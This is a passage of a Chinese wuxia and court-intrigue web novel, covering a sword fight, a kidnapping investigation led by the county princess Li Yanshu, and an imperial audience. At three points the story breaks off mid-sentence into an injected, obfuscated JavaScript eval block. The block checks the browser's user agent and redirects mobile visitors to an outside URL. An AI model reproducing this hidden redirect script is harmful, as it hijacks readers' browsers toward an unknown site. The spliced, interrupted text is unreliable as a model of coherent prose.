剩下两人旋即朝林望出手,刀刃冷森,在空中挥出一道残影。林望偏头堪堪躲开一刀,下一刻柴刀与刀刃再次撞在一起,对方力气大得出奇,刀口相撞之下林望手中的柴刀瞬时多了一道豁口。 眼看林望接连接下他们兄弟出刀,高二愈发感到烦躁,出手动作也越来越快,势必要将眼前这个不知死活的女人拿下。 林望在紧密的攻势下不断后退,高大瞅准时机刀锋直劈向林望面门。凛冽的刀锋激起一阵寒风,林望眼前闪过一道迅捷的刀影,瞳孔猛地一缩,手中柴刀立刻脱手。 就在高二以为她必死无疑之际,林望却突然侧身朝他挥去,高二下意识横刀格挡,突然脸色大变——林望手里没有刀! 眨眼的间隙里,林望已然到了他身侧,反手将不知何时到了手中的簪子狠狠刺向他的手臂,紧接着顺势夺下他的大刀。 “高二!” 高大想出手救他,然而来不及了。 林望没有手下留情,高大疾呼的瞬间,她反手一刀劈向高二,命中要害。 血珠顺着刀锋缓缓下滴,高二瞳孔猛缩,不可置信地看着林望,下一刻膝盖一弯,就那样直挺挺地跪了下去。 簪子落在地上,血迹斑斑。 “二哥!” 高三奔溃地扑过去,接住就要倒地的高二。 高二想要说些什么,结果张口就是一口血沫喷出,眼睛瞪得极大,头往一侧栽去,死了。 死不瞑目。 他怎么都没有想到,自己会死在一个女人手中。 “你竟敢杀我二弟,今日我定要杀了你为我二弟报仇!拿命来!” 高大双眼猩红,说罢劈刀朝她砍去,刀刀狠厉,每一刀都是冲着她的命去的。 林望咬牙匆匆提刀格挡,嘴上还讽道:“怎么?难道只许你们杀我不曾?” 高大声嘶力竭地道:“拿命来!” 双刃“铛铛”相撞,高大不同于高二,他即便再愤怒,手中的刀也不会乱了分寸。相反,被激怒的高大犹如一条疯狗,獠牙利刃轮番上阵,势如破竹般,直要将林望撕碎为止。 面对高大狂风扫落叶一般的疾迅攻势,林望稍不注意就会被对方一刀砍死,只能全力抵挡。就在两人厮杀到要紧处时,林望身后突然传来“唰”地一声——高三提刀朝她劈来! 高大这一刀用了十层的力,林望闷哼一声,整条手臂都被震得发麻,根本来不及,也分不出余力去挡住背后袭来的一刀! 高三声嘶力竭地咆哮道:“拿命来!” 就在这千钧一发之际,“嗖”地一声,一道银白色剑光破空而来,“铛”一声,生生替林望拦下了这致命一击! “师姐!” 林望狂喜,看着从天而降的师姐瞬间热泪盈眶。 高三被这突如其来的一剑震开,踉跄了几步,还没等他反应过来,那道剑光竟然又朝他劈了过来。 “高三!”高大喝道。 “跟我打还敢分神?”林望勾唇一笑,提刀朝他劈头砍去。 林望虽然在力量上不如他,但是胜在身手敏捷,几套刁钻又狠辣的攻势下来,高大只能全力以赴。 正当这边打得如火如荼之时,另一边突然传出一声尖锐的惨叫声。 高大倏地看过去,下一刻目眦欲裂——高三的手被削掉了! 从手腕处拦腰截断,殷红的鲜血喷涌而出,断面处依稀见骨。 高大发了疯般地冲过去,伸手又缩回,几次想要按住伤口,却发现根本下不了手。血流得又多又急,高三嘴唇已经发白,时不时抽搐一下,连话都说不出来了。 林希看向林望,问道:“可有受伤?” 林望将夺过来的刀随手丢了,跑到师姐面前转圈给她看,道:“没有,师姐你看。” “嗯。”林希看了看她,不易觉察地松了口气,收剑回鞘。 林望想起什么,问道:“师姐,我的剑呢?” 那天被迷晕后,剑也被落在了那个巷子里。 林希看向一处,道:“那里。” 离她们不远处的一颗树下立着一把长剑,剑鞘漆黑,与林希手里那把白色的剑鞘制式一致。 林望眼睛一亮,快步跑过去,对失而复得的爱剑好一顿爱抚。 “师姐,你怎么找到我的?”林望问道。 林希道:“跟人。” “跟人?谁啊?”林望灵光一闪,旋即又问道,“师姐,你可是见到三个姑娘下山了?” 李希道:“嗯。” 那就对了,幸好让她们先跑了,若是师姐没见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路上来得急,姑娘们被关的情况素影来没得及跟李砚书说,当即听到,她道:“小姐,还有一点,那些姑娘像是被下了药,神情呆滞,对外界完全没有反应。” 李砚书听到这句话脸色不太好,她来到屋里,在看到人的刹那,拳头倏地握紧。 这些姑娘的状态与骨衣一模一样。 今日辰时,骨衣从昏迷中醒来,不说话也不眨眼,就这样睁着双眼,谁叫都没有任何反应。 素影觑她脸色,担心地叫了她一声,“小姐……” 李砚书对宋承道:“宋都尉,这些姑娘情况特殊,送进衙门后还望你费心打点。” 宋承拱手,当即命手下将人带走。 李砚书复又看向林望,道:“林姑娘,今日承蒙你相助,若不嫌弃,还请到王府休养两日。” 林望挑眉,看向师姐。后者没有说话,于是婉拒道:“多谢县主美意,只是我与师姐闲散惯了,还是不作叨扰了。” 李砚书看了素影一眼,素影立即领会,上前道:“怎么能是叨扰呢,林姑娘,今日天色已晚,我家小姐也是为你们安全着想,况且那些贼子尚有漏网之鱼,未免他们报复,还请两位到王府暂住。” “是啊,”武霜接道,“你们放心,等这件事了了,砚……我家县主一定会重重赏你们的。” 林望笑了,语气不正经地道:“重重有赏啊,那我可得好好想想。” 武霜见她一副轻佻样,忍不住要怼回去,却被李砚书一个眼神按下。 林望笑着,看了师姐一眼,却见师姐微微颔首,她一愣,脱口道:“如此,县主盛情,我们就却之不恭了。” 言罢,对李砚书嬉笑道,“那就叨扰县主了。” 李砚书亦一笑,伸手道:“请。” 52. 画像 时辰紧迫,武霜只能在回宫的马车上换衣打扮。 李砚书观她身上确实没有任何伤,提了一天一夜的心才稍稍放松。 过了片刻,李砚书忽然问道:“你这次去可见到了沈珩?” 武霜动作一顿,道:“……未曾。砚书,方才一直没机会问你,骨衣怎么样了?” 李砚书沉默须臾,道:“她情况不太好,今早醒来后状态便跟那些姑娘一样,请了郎中来看,怀疑是中了某种毒物所致,须得早日拿到解药才行。” 武霜一哑。 骨衣是为了救她才会被那些贼子所伤,武霜又问:“可查出些什么?” 李砚书平定心神,道:“暂时没有。” 从现有线索来看,绑匪最先绑架人是在一个月前,这期间不断有人在失踪,再加上期间绑匪的种种行为,武霜此次被绑,或许真的只是意外。 所幸武霜跑下山时还记得将容貌遮住,宋承的人应该没有认出她来。现在当务之急是把武霜安全送回皇宫,之后她才能放手去查。 突然,马车停下。 李砚书挑帘看去,蹙眉低声道:“是大皇子。” 武霜带面纱的动作一顿。 紧接着,大皇子的声音就传了来,“可是广明县主?” 武霜欲张口,李砚书对她摇头。 片刻后,武霜先下车,而后举起双手作搀扶状,李砚书随后露面,见礼道:“见过大皇子。” 大皇子笑着摆手,道:“县主不必多礼,听闻县主府上丫鬟丢了?” 李砚书道:“多谢殿下关心,府上丫鬟已经寻回。” 大皇子忽然看向李砚书身后的武霜,道:“这是为何?” 李砚书面不改色地道:“回殿下,这丫鬟脸上起了红疹,怕惊着宫中诸位贵人,故才带着面纱。” “红疹?” 大皇子正欲开口,余光瞥到不远处,旋即止了话音。 钟嬷嬷行礼道:“奴婢见过大皇子,广明县主。” 大皇子淡淡抬手。 钟嬷嬷道:“皇后娘娘见天色已晚,特派奴婢来接县主回宫。” 大皇子笑看李砚书,道:“既如此,县主,咱们改日再聚。” 李砚书扯出一丝笑,行礼道:“臣女恭送殿下。” 本朝皇子成年礼之后便会离宫开府,但仍是按皇子相称。须等皇帝赐下亲王封号,才有番号封地,但同时,也意味着这位新王失去了争夺太子之位的资格。如今三位势均力敌的皇子皆在宫外开府,可武明帝却迟迟没有赐下封号。 李砚书此前猜过很多人,其中也包括皇子,只不过却是三皇子和二皇子。前者与李家早有龃龉,后者则是因为董家。董平之事过去尚不足三月,董酺若是借由此事发难,并不奇怪。但大皇子又是为何呢? 武霜见李砚书脸色自方才起就一直不好,她迟疑道:“砚书,此事与大皇兄有关?” 李砚书对上武霜的目光,摇了摇头。 “那他今日怎会出现在那?”武霜道,“若说是巧合,也未免太巧了。” 李砚书听着抿紧唇线。 究竟是巧合,还是有意? 在清宁宫用过晚膳,李砚书回到宁院,屋内亮着烛光,不算亮,李砚书稍一想,便知道白鹤行定是只点了一根蜡。 “都说了多少遍了,夜间看书多点一根蜡。”李砚书推门而进,“到时候眼睛看不清东西,可是要戴叆叇的。” 那玩意李砚书见齐夫子戴过,好奇之下也偷偷戴过一回,又沉又晕,戴上难受得很。 白鹤行头也没抬,只道:“人寻回来了?” 李砚书“嗯”了声,凑过去一看,发现是本古籍便挪开眼,拾起杯冷茶一饮而尽。 “阿行,有件事你帮我分析分析呗。”李砚书打了个冷颤,盘腿坐下,“我思来想去,总觉得哪里怪怪的,但又说不上来。” 白鹤行的视线从古籍上移开,侧身取了根蜡点上,轻声道:“你说。” 李砚书道:“一般来讲,若是绑匪绑了人,左右不过为钱和仇。若是抛却这两样,还能是为了什么呢?若说是为利,可他们抓的那些人都是些寻常百姓,背后也没有势力牵连,利又从何而来呢?” 白鹤行垂坐案边没动。 “还有一点颇为可疑,”李砚书往杯里添了些热茶水,“若说那伙绑匪什么都不为,单纯只是想绑些人玩玩,又为何绑的男子都是些读书人呢?” 说罢,李砚书看向白鹤行。 白鹤行淡淡道:“你都想不明白,我又从何知晓。” “也是,”李砚书将手里的茶一饮而尽,忽然转问道,“这眼看着就要放年学了,你可要去我府上坐坐?” 白鹤行本在吹茶沫,闻言一顿,道:“多谢县主好意,只是春闱将近,还是不叨扰县主。” 说罢,她搁下茶盏。 李砚书不强求,她道:“随你,反正王府在那也搬不走。” 白鹤行垂下眼睫,静了片刻,忽然道:“董酺今日复朝了。” “嗯?”这事李砚书确实不知情,诧异道,“三个月这么快?” “两个月十九天。”白鹤行道。 董平之事后,董酺仅是罚俸一年,禁足三月。 李砚书冷哼一声,意有所指地道:“那他还真是圣眷优渥啊。” “百足之虫死而不僵,董平之事还远没有到动摇董家根基的程度。”白鹤行道,“陛下之所以提前解除董酺禁足,终其原因还是因为北上之日迫近,有些事不得不经过董酺之手。” 李砚书沉吟片刻,道:“好,我知道了。” 翌日一早,李砚书出宫,与宋承前后脚到王府。 宋承道:“县主,为首的那人叫高大,被削断手的叫高三,死了的那个叫高二,还有三人昨日跑了,属下问出他们藏匿之地,已派人去抓。据这个高大说,他们是在一月前受一个自称是‘樊先生’的人所托,替他绑人。” 李砚书扫了一眼供词,问道:“樊先生?” “高大也不知道他本名,”宋承从袖里掏出一张画像,道,“这是根据高大描述所画,袁礼钊想要张贴画像寻人,属下怕打草惊蛇,便先将其按下,特来请示县主。” “此事都尉想得周全,”李砚书看着画像上的人,道,“解药应该就在那位樊先生手里,可有问出被绑男子下落。” 宋承道:“据高大说,他们只负责看押女子,男子由樊先生亲自看押,至于关在哪里,他们也不清楚。” 李砚书收起画像,道:“我们昨日去救人动静不算小,那位樊先生不可能没有察觉。按高大所说,那位樊先生行事谨慎,这次若不是有林姑娘出手相救,我们也不会在这么短的时间内找到素影她们。张榜寻人如同大海捞针,雷声大雨点小的手段,恐怕唬不住人。” 宋承若有所思。 李砚书道:“十几号人可不是说藏就能藏住的,单是吃喝,就要费上不少功夫。” 宋承恍然大悟,当即道:“属下这就去查。” 李砚书道:“都尉万事小心。” 宋承拱手作别。 目送人离开,李砚书隐隐觉得有些不安,叫道:“来人。” 花笙从廊下过来,作礼道:“小姐。” 李砚书看着她,问道:“素影呢?” 往常这个时候小丫头早就过来了。 花笙道:“昨日夜里素影起了热,现在还没醒。” “怎么不早点来告诉我,”李砚书匆匆往内院走,“怎么不早点来告诉我,叫大夫去瞧过没?人现在怎么样了?大夫怎么说?” 花笙追上,忙道:“已经请过大夫了,大夫说素影是受了惊吓又着了风寒,服过一贴药,一个时辰前高热已经退下,大夫说再修养几日便可恢复。” 她那会见李砚书再与另一位大人谈事,便没有过去说。 李砚书猜到一些,脚下不停,面上却是第一次这么认真地对花笙道:“以后不管我在跟谁说话,再有这种情况都要第一时间跟我说,明白吗?” 花笙愣了一下,随即道:“是。” 应该是高热才退不久,素影白皙的脸蛋上还红扑扑的,李砚书伸手碰了碰,还好,没有想象中那么热。 刚刚进来得急,听见有人行礼,她也无暇顾及,现在再一瞧,发现方才跪下行礼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849567|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还跪在地上。 “起来吧,王府没有那么多规矩,不用跪下行礼。” 花脸姑娘畏缩地抬起头,在对上李砚书目光的那一刹又飞快垂下眼睛。 李砚书眼神示意花笙,花笙上前扶起花脸姑娘,道:“小姐有所不知,素影能在这么短的时间内退热,多亏了刘姑娘。” 花脸姑娘猛地摆手,不知该如何应对。 李砚书道:“刘姑娘不必紧张,你救了我府上丫头,就是王府贵客,自当重谢。敢问刘姑娘芳名。” 花脸姑娘小声道:“不不,不用,就是土法子而已,我们村发热的人都是这么治的。草民叫刘招弟。” “只要能救人,就是好法子。”李砚书话锋一转,问道:“刘姑娘可用过早膳了?” 花脸姑娘连忙摇头。 李砚书道:“正好,我也还没用早膳。花笙,去请两位林姑娘,一同用吧。” 花笙屈膝退下。 李砚书冲花脸姑娘作出一个请姿,她道:“刘姑娘,请。” 花脸姑娘受宠若惊,一时间不知道该迈出那条腿,结巴道:“……县主请,县主请。” 李砚书伸手扶了她一把,笑道:“不必紧张,我乃渭阳李晗,表字砚书,刘姑娘若是不嫌弃,唤砚书也可。” “不嫌弃,”话一出口,花脸姑娘就意识到自己这话有歧义,立刻改道,“不是,草民不敢……” 李砚书知道急不来,转而问道:“刘姑娘家住何方?改日我定登门致谢。” 听到这话,花脸姑娘的表情瞬间落寞下去。她垂下眼,沉默了好一会才小声道:“不用的。” 李砚书看了她一眼,似乎明白了什么,便也没再开口。 林望收剑回鞘,蹦蹦跳跳地到林希身旁,问道:“师姐,你说那个什么县主能找到剩下的人吗?” 林希没吭声,继续擦剑。 林望接道:“师姐,我跟你说啊,我觉得那个叫阿霜的身份不一般。不仅素影护着她,就连那个什么县主也紧张她。最最关键的是,她遮掩容貌,一个丫鬟需要遮掩什么容貌。” 林希提醒道:“广明县主。” 林望道:“好好好,广明县主。不过话说回来,师姐,你那日为何答应来这里啊?你往日里不是宁可住破庙,都不愿意去达官显贵家住吗?” 她们闯荡江湖,路见不平就会出手相助。以往她们若是救了那些个贵人,贵人以示感谢都会邀请她们去其府上相住,只是林希一次都没有答应过。所以在广明县主邀请她们时,她下意识地婉拒,却没想到师姐竟然同意了! “下山之前师父跟我说,若是遇见渭阳王极其家眷,能帮则帮。”林希说道。 “啊?”林望讶然道,“师父怎么不跟我说呀?难怪,你起初没有反应,是在广明县主说王府时你才猜到她是渭阳王之女,所以才点头的吧。” 林希道:“嗯。” 林望生气道:“等我们回去了,我定要好好问问师父,为什么只告诉你一个人!” 林希道:“若是早告诉你,你肯定会忍不住去渭阳。今日留下照顾一二,来日回山,也算不负师命。” 她们在下山之前,师父只有一个要求,就是她们永远不能踏足渭阳境内。可林望天生好奇心重,越不让她去她越想去。要是将此事告诉她,那她就有充分理由前去渭阳。 林望忍不住嘀咕,“不让我们去渭阳,又让我们照顾人,师父也够矛盾的。” 故此林望在用膳时总是忍不住偷看李砚书。 瞧了两回,就是瞎子都有感觉了。 “林姑娘,”李砚书放下筷子,“可是我脸上有什么东西?” 林望自觉失礼,忙道:“抱歉。” 李砚书缓笑:“无妨,林姑娘似乎有话要说?” 说这话期间,李砚书看了眼林希。能在她毫无察觉的情况下一路跟踪她们到山上,最后还能悄无声息反超她们,率先到达地方将人救下,武功绝对不在她之下。 林望一脸憋不住,但还是在开口前看向师姐,见她没有反对的意思,才迫不及待地道:“那我可说了啊,县主,阿霜不是你府上丫鬟吧?” 53. 面圣 闻言,林希落筷的手微微一顿,随后缓缓搁下。 “实不相瞒,阿霜确实不是我府上丫鬟。”李砚书道,“阿霜是我好友,至于具体身份,现在还不便告于各位,还望见谅。” 林望一副果然不出所料的表情,点头道:“理解理解。” 李砚书见都吃得差不多了,便开始询问她们这两日被绑时的细节。 几人回忆着这两日发生的事,一五一十地发生的事告诉李砚书。最后,林望补充道:“县主,我昨日自保之下杀了一人,若是要问责,还请县主为我陈情。” “这是自然,”李砚书道,“林姑娘请放心,来日呈堂证供之上,必不会使无罪者有罪。” 她说得风轻云淡,在场的人却无一人觉得她是在说大话。 林望笑道:“有县主这句话我还有什么不放心的。” 问的也差不多了,李砚书遂起身,道:“你们且放心在王府住下,待来日凶手全部缉拿归案,我再设宴答谢诸位。” 众人皆起身,林望拱手道:“县主客气,义不容辞。” “如此,”李砚书道,“李晗先行谢过诸位。” 话音刚落,花笙从外面进来,屈膝道:“小姐,宋都尉来了。” 这么快? 快步来到院中,李砚书见宋承单膝跪下,立觉不好,道:“怎么了?” “县主恕罪!”宋承低头道。 李砚书面露愠色,道:“说清楚。” “属下的人赶到时,地上只有两具尸体。”宋承脸色极差地道,“根据高大先前描述,是高四高五二人无疑。现场没有打斗痕迹,二人均是一刀毙命,应是在极短的时间内被凶手接连杀害。” “杀人灭口,”李砚书敛眉思量了会,道,“杀两个,留一个,一为灭口,二为警告,他是在警告高大管好自己的嘴。都尉,高大那里加强人手,既然开了口,就断没有中途收手的道理。杀鸡儆猴,他以为就他一个人手上有人质吗?” 宋承抬头,明白过来,他道:“是。县主是指高三?” “是,”李砚书道,“让他选,是选远在天边,生死未卜的弟弟,还是选近在眼前,奄奄一息的弟弟。” 宋承道:“那两具尸体可要送去衙门?” “送,”李砚书冷笑一声,眼神冰冷道,“他们兄弟一场,肯定要送一送。顺便告诉高大,两日,两日内我若是没有听到我想听到的话,那他就要再送一位弟弟。” 骨衣的毒不能再拖,杀鸡儆猴本质上也是比谁手腕更硬。棰楚之下人或许会招,可这哪有蚀心来得爽快。况且如今人在她手里,是生是死,可不是那位樊先生能说了算的。 宋承面上错愣一瞬,道:“这样只怕……” “怕什么,”李砚书知道他在担心什么,“左右名声已经传出去了,索性我就将它坐实了。去办吧,无需遮掩什么。” “是。” 宋承得令立刻去办。 “小姐,”花笙给李砚书披上氅衣,“天冷了,小姐每回都不记得加件衣裳。” “无事,”李砚书拢了拢衣裳,道,“这几日多亏有你在。” 李砚书宫里宫外两头跑,根本没有时间回王府,花笙能这么快打点好王府事宜,说实话李砚书是吃惊的。 花笙虽然没有念过书,但是人聪明,学东西极快。跟在素影身边这几月,耳濡目染之下,学了五分,倒是也能忍住不露怯。 听到李砚书这话,花笙先是一愣,而后面露羞意道,“小姐别这样说,这都是花笙应该做的。” 见到花笙这个模样,李砚书心里那股火气渐渐平息下去。 敢在天子脚下行如此悖逆之事,究竟是什么给了他们底气,如此肆意妄为? 末时一刻,宋承收到李砚书的消息,让他将人尸体送到大理寺,同时将消息散出去。 同时李砚书进宫,求见武明帝。 在她踏进紫薇殿的那一刻,袁礼钊脚一滑从阶上摔了下来。 “主人!”袁七心惊肉跳又手慌脚忙地扶袁礼钊,“哎呦!主人!” “去,”袁礼钊顾不上痛,叫了好几声去才完整说出后边的话,“去,快去备马!快去!” “是是!”袁七不敢耽搁,连滚带爬地跑开。 袁七跑开之后,袁礼钊徒自惊魂未定,想了想手脚并用,匆忙从地上爬起来,忍痛上台阶,进了书房。 很快,袁七跑回来,敲门道:“主人,马车已备好。” 片刻后,袁礼钊从房里出来,手里多了一份呈报,他挥手招来一个小厮道:“将这个交给董府管家,记住,一定要确定给到他手上了。” 小厮领命退下,三两步就没了身影。 袁七见袁礼钊似是要出门,忙道:“主人何故如此慌张,一切不都有‘那位’顶着吗?” 袁礼钊眼看呈报送出,松了口气,但还是拔高了声音,道:“你懂什么,那个广明县主就是个灾星,谁沾上她谁倒霉。上回董平之事你还没看明白么?那可是董大公子啊,她都能给人好一顿羞辱,甚至还能因为几个平民就判他死刑。我这一想到我还当她的面抓过人,我这冷汗就直往外冒!” 袁七想起什么,也打了个冷颤,但还是劝道:“主人莫慌,这次与上次可截然不同,她将人送来您不是二话不说就收了?这事说到底,您都没有差错。” 袁礼钊好像懂了,道:“言之有理……不,不对,如果是这样,那她进宫面圣作甚?她将此事告诉陛下,不就是在说我办事不利,抓不到人吗?!” 袁七立即道:“主人,依老奴看,那广明县主进宫于您而言,或许不是坏事。” 袁礼钊瞬间睁大了眼睛,“哦,此话怎说?” 袁七道:“案件发生距今一月有余,可失踪的人多是些无权无势的平民,要不就是一些穷酸书生。且有些人失踪时日尚短,能不能定案都是一回事。县主这么着急,左右不过是因为一个丫鬟,而且现在丫鬟都已经找回,那与衙门就无甚干系了。” 袁礼钊道:“可是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李砚书到紫薇殿外,门口两个侍卫检查令牌后放行。此时日头正足,李砚书不经意抬眼望去,被檐上的琉璃片恍了眼睛。 甫一进去,王德祥举着伞远远就迎了上来。 “奴婢给县主请安。” 李砚书微微曲膝回礼,“公公请起。” “谢县主,”王德祥脸上始终挂着笑,眼角几道褶子异常明显,“这年关将近呐,紫薇殿也热闹起来了,每日里来来往往的都是人。哎呦,瞧奴婢这嘴,县主恕罪,这奴婢老了,嘴也管不住。” 伞往李砚书那边倾斜,替她遮了大半阳光。 李砚书对王德祥笑了笑,道:“无妨。” 说话间,两人行至阶前,王德祥赶紧伸出一只手作势要扶。 李砚书一摆手,利落上了台阶。 王德祥收了伞,替她推开门,细着嗓子道:“皇子在里边等着县主呢,县主请。” 李砚书颔首致谢,跨步进去。 一进去就跪下行礼,说起来,她入元安已有半载,这是第三次见到武明帝。 “臣女李晗,参见皇上。” 殿内寂静,李砚书话音落下,殿内顷刻间就只剩下武明帝沙沙着墨的细微声响。 李砚书头磕在冰凉干净的地砖上,过了数息,几步之远响起一道细弱清脆的磕碰声,接着传来武明帝的声音。 “起来吧。”